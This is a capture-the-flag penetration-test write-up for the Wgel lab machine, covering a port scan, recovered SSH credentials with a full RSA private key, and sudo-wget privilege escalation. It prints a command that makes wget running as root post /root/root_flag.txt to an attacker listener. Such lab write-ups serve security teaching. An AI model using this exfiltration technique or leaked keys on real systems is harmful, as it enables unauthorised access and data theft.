

Penetration Testing Report: Wgel CTF

1. Target Information

- **Target IP:** 10.114.164.172
- **Hostname:** Wgel-CTF (Ubuntu Linux)

2. Port Scan & Service Enumeration (nmap)

An initial TCP port scan revealed two open services. The underlying operating system is identified as Ubuntu Linux.

Port	State	Service	Version / Details
22/tcp	Open	SSH	OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Protocol 2.0)
80/tcp	Open	HTTP	Apache httpd 2.4.18

SSH Host Keys (Port 22)

- **RSA (2048):** 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa
- **ECDSA (256):** 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38
- **ED25519 (256):** b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce

HTTP Web Server (Port 80)

- **Server Header:** Apache/2.4.18 (Ubuntu)
- **Title:** Apache2 Ubuntu Default Page: It works

3. Initial Access & Credentials

During the enumeration phase, valid SSH credentials and a private key were recovered for the user **Jessie**.

- **Username:** Jessie
- **Password:** (Blank / Key-based authentication)
- **Private Key (id_rsa):**

Plaintext

-----BEGIN RSA PRIVATE KEY-----

MIIEowIBAAKCAQEA2mujeBv3MEQFCel8yvvgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAquy30ISp5jH/bhcvYLSK+T9zEdzHmjKDtZN2cYgwHw0dDadSXWFf9W2gc3x

```
W69vjkHLJs+IQi0bEJvqpCZ1rFFSpV00jVYRxQ4KfAawBsCG6IA7GO7vLZPRiKsP
y4lg2StXQYUz0cUvx8UkhpgxWy/OO9ceMNondU61kyHafKobJP7Py5QnH7cP/psr
+J5M/fVBoKPcPXa71mA/ZUioimChBPV/i/0za0FzVuJZdnSPtS7LzPjYFqxnM/BH
Wo/Lmln4FLzLb1T31pOoTtTKuUQWxHf7cN8v6QIDAQABAoIBAFZDKpV2HgL+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbAfwCjwCgZXUb9mFoNI2lc4PsPjbqyCO2LmE
AnAhHKQNeUOn3ymGJEU9iJMJigb5xZGwX0FBoUJC9QJMBBZthWyLIJUKic7GvPa
M7QYKP51VCi1j3GrOd1ygFSRkP6jZpOpM33dG1/ubom7OWDZPDS9AjAOkYUJBobG
SUM+uxh7JJn8uM9J4NvQPkc10RIXFYECwNW+iHsB0CWlcF7CAZAbWLSjgd6TcGTv
2KBA6YcfGXN0b49CFOBMLBY/dcWpHu+d0KcruHTeTnM7aLdrexpiMJ3XHVQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evJEA5uTCsDzmsDj
7pUO8zziTXgeDENrcz1uo0e3bL13MiZeFe9HQNMPVOX+vEaCZd6ZNFbJ4R889D7I
dcXDvkNRbw42ZWx8TawzwXFVhn8Rs9fMwPIbdVh9f9h7papfGN2FoeECgYEA4Ely
GW9eJnl0tzL31TpW2InJ+KYCRllucQUntQLWdTncUkm+LBS5Z6dGxEcwCrYY1fh
shl66KulTmE3G9nFPKczCwd7jFWmUUK0hX6Sog7VRQZw72cmp7IYb1KRQ9A0Nb97
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMkrxN2TK3f3LPPfGst8K+N
LaIN0OOQ622e8TnFkmee8AV9IPp7eWfG2tJHk1gw0IXx4Da8oo466QiFBb74kN3u
QJkSalDWAnh0G/dqD63fbBP95IkS7cEkokLWSNhWkffUuDeIpy0R6JuKfbXTFKBW
V35mEHlidDqtCyC/gzDKIQKBgDE+d+/b46nBK976oy9AY0gJRW+DTKYul4FP51T5
hRCRzsyios7dMiVPtxtsomEHwYZiybnr3SeFGuUr1w/Qq9iB8/ZMckMGbxoUGmr
9Jj/dtd0Zal8XWGHMokncVyZwl044ftoRcCQ+a2G4oeG8ffG2ZtW2tWT4Opeblsu
eyq5AoGBANckOaWnitoMTdWZ5d+WNNCqcztoNppuoMaG7L3smUSBz6k8J4p4yDPb
QNF1fedEOvsuMlpNgvcWVXGINgoOOUSJTxCrQFy/onH6X1T5OAAW6/UXc4S7Vsg
jL8g9yBg4vPB8dHC6JeJpFFE06vxQMFzn6vjEab9GhnpMihRSCod
-----END RSA PRIVATE KEY-----
```

4. Privilege Escalation & Flag Exfiltration

After establishing an SSH session as user **Jessie**, a misconfiguration in **sudo** privileges was discovered (GTFOBins exploitation).

The user was allowed to run **wget** with root privileges. Since **wget** can read restricted files and exfiltrate them via HTTP POST requests, the **/root/root_flag.txt** was successfully sent to the attacker's listener setup at **192.168.136.71:9001**.

Exfiltration Command Used:

Bash

```
sudo wget --post-file=/root/root_flag.txt http://192.168.136.71:9001
```

Note: This command effectively bypasses root read restrictions by forcing the high-privilege **wget** binary to read the root flag and transmit it out of the network.